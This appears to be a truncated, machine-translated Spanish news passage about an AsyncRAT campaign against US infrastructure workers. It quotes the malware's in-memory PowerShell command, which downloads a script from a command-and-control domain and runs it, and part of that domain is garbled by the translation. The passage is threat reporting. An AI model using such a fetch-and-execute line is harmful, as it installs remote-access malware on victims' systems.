La campaña AsyncRAT de meses de duración se dirigió a empleados clave de infraestructura de EE. UU.
La carga útil es otro script codificado escrito en PowerShell que se ejecuta directamente en la memoria sin guardarse en el disco con un “conhost –headless powershell iex(curl -useb sduyvzep[.]comando superior/1.php?hash=)”. El dominio del servidor C&C se rota periódicamente. El...
